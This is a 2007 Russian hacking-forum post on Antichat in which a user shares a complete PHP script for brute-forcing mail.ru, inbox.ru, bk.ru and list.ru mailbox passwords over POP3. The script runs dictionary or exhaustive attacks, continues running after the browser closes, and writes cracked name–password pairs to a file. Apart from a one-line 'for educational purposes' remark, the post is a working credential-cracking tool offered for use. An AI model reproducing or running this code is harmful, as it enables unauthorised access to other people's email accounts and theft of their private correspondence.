ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

PHP Simple mail.ru brute
  #1  
Старый 11.06.2007, 18:08
Аватар для Joker-jar
Joker-jar
Постоянный
Регистрация: 11.03.2007
Сообщений: 581
Провел на форуме:
4172659

Репутация: 646


Отправить сообщение для Joker-jar с помощью ICQ
По умолчанию PHP Simple mail.ru brute

В учебных целях написал простенький брутфорс ящичков на мейле. Вроде работает, но уж очень медленно из-за работы в один поток.

Код:
<html>
<head>
<title>MailBrute By Joker-jar</title>
<meta http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body>

<?
set_time_limit(0);
ignore_user_abort(1);
error_reporting(0);

$servers = Array(
  "mail" => "pop3.mail.ru",
  "inbox" => "pop3.inbox.ru",
  "bk" => "pop3.bk.ru",
  "list" => "pop3.list.ru",
);

$pop3port = 110;

$passfile = "pass.txt";
$good = "good.txt";
$bad = "bad.txt";

function CheckPass($pop3server, $username, $pass)
{
  global $pop3port;
  $fp = fsockopen($pop3server, $pop3port, $errno, $errstr, 30);
  if (!$fp) 
    return false;
  $buf = fgets($fp, 128);
  if ($buf[0] != "+")
    {
	  fclose($fp);
      return false;
	}
  fputs($fp,"user ".$username."\r\n");
  $buf = fgets($fp, 128);
  if ($buf[0] != "+")
    {
	  fclose($fp);
      return false;
	}
  fputs($fp,"pass ".$pass."\r\n");
  $buf = fgets($fp, 128);
  if (strlen($buf) > 3 && $buf[0] == "+")
    {
	  fclose($fp);
      return true;
	}
  fclose($fp);
  return false;
}

function genstr($l, $alf)
{
  $result = "";
  for ($i=0;$i<$l;$i++)
    $result .= $alf[0];
  return $result;
}

function nextpass($p, $alf)
{
  for ($i=0;$i<strlen($p);$i++)
    {
	  if (strpos($alf,$p[$i]) ==  strlen($alf)-1)
	    {
          $p[$i] = $alf[0];
		}
	  else
	    {
		  $p[$i] = $alf[strpos($alf,$p[$i])+1];
		  return $p;
		}
	}
  $p .= $alf[0];
  return $p;
}

if (isset($_POST["name"]))
  {
 	if ($_POST["name"] === "")
	  {
	    echo "Отсутствует имя</body></html>";
		exit;
	  }
 	if (!isset($servers[$_POST["popserver"]]))
	  {
	    echo "Неправильно задан pop3 сервер</body></html>";
		exit;
	  }
    settype($_POST["minl"],"int");
    settype($_POST["maxl"],"int");
	if ($_POST["minl"] == 0 || $_POST["maxl"] == 0 || $_POST["maxl"] - $_POST["minl"] < 0)
	  {
	    echo "Ошибка в параметрах длины пароля</body></html>";
		exit;
	  }
    if ($_POST["dict"] !== "yes" && $_POST["alf"] === "")
	  {
	    echo "Алфавит пуст</body></html>";
		exit;
	  }
    if ($_POST["dict"] === "yes" && (!file_exists($passfile) || filesize($passfile) == 0))
	  {
	    echo "Файл $passfile пуст или отсутствует</body></html>";
		exit;
	  }
	if ($_POST["dict"] !== "yes")
	  {
	    //Полный перебор
	    $startpass = genstr($_POST["minl"],$_POST["alf"]);
	    $endpass = genstr($_POST["maxl"]+1,$_POST["alf"]);
		$curpass = $startpass;
        while ($curpass != $endpass)
		  {
		    if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass))
			  {
			    $f = fopen($good, 'ab');
		   		fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
		   		fclose($f);
				exit;
			  }
			else
			  {
			    $f = fopen($bad, 'ab');
		   		fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
		   		fclose($f);
			  }
			$curpass = nextpass($curpass,$_POST["alf"]);
		  }
	  }
	else
	  {
	    //Атака по словарю
		$passes = file($passfile);
		for($i=0; $i<count($passes);$i++)
		  {
		    $curpass = trim($passes[$i]);
		    if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass))
			  {
			    $f = fopen($good, 'ab');
		   		fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
		   		fclose($f);
				exit;
			  }
			else
			  {
			    $f = fopen($bad, 'ab');
		   		fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
		   		fclose($f);
			  }
		  }
	  }
  }
?>

<fieldset style="width: 500">
<legend>Параметры брута</legend>
<form method="POST">
<table border="0">
<tr><td>
<input type="text" name="name" style="width: 100">
</td><td>@
<select name="popserver" style="width: 100"> 
<option value="mail" selected>mail.ru 
<option value="inbox">inbox.ru 
<option value="bk">bk.ru 
<option value="list">list.ru
</select> 
</td></tr>
<tr><td colspan="2"><br>
<input type="radio" name=dict value="yes" checked>Атака по словарю pass.txt<br>
<input type="radio" name=dict value="no">Атака полным перебором
</td></tr>
<tr><td style="text-align: right">
алфавит:
</td><td>
<input type="text" name="alf" style="width: 200" value="abcdefghijklmnopqrstuvwxyz">
</td></tr>
<tr><td style="text-align: right">
мин длина:
</td><td>
<input type="text" name="minl" style="width: 50" value="1">
</td></tr>
<tr><td style="text-align: right">
макс длина:
</td><td>
<input type="text" name="maxl" style="width: 50" value="5">
</td></tr>
<tr><td colspan="2">
<br>
<input type="submit" value="Начать брут и идти спать">
</td></tr>
</table>
</form>
</fieldset>
</body>
</html>

Последний раз редактировалось Joker-jar; 11.06.2007 в 18:27..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Books PSalm69 Избранное 248 27.10.2009 04:52
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ